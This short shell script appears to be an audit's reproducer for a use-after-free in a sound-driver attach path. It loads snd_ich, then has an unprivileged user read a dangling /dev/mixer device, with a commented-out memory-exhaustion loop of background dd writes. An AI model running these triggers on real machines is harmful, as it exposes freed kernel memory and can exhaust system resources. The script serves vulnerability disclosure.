#!/bin/sh
# DF-4421 REAL-HARDWARE trigger (NOT runnable on the QEMU audit guest —
# no AC'97 controller). Requires a machine with an ICH/ICH2/.../SiS7012/
# nForce/AMD-768 AC'97 codec AND one of:
#   * enough memory pressure to fail bus_dmamem_alloc/bus_dmamap_load
#     (ich.c:1060/1065) at attach time,
#   * 33+ pre-existing sound units (PCMMAXUNIT, sound.c:1027),
#   * a boot with a broken feeder chain leaving pcm_veto_load=1
#     (sound.c:50,1021).
# Then snd_ich attach fails AFTER mixer_init() already published
# /dev/mixerN over memory freed by the bad: unwind.
set -x
# fail-inducing state goes here, e.g. eat memory: ...
# (memory pressure) while true; do dd if=/dev/zero of=/tmp/eat.$RANDOM bs=1m count=64 & done
kldload snd_ich
dmesg | tail -20                 # expect: snd_ich attach error, then 'bad:' unwind
ls -l /dev/mixer*                # the dangling 0666 cdev (unit of the failing card)
# UAF: any local user, no privileges needed:
dd if=/dev/mixer0 bs=64 count=1 2>&1 | hexdump -C
# or: any SNDCTL_MIXER_READ_* ioctl -> ac97mix dispatch through freed codec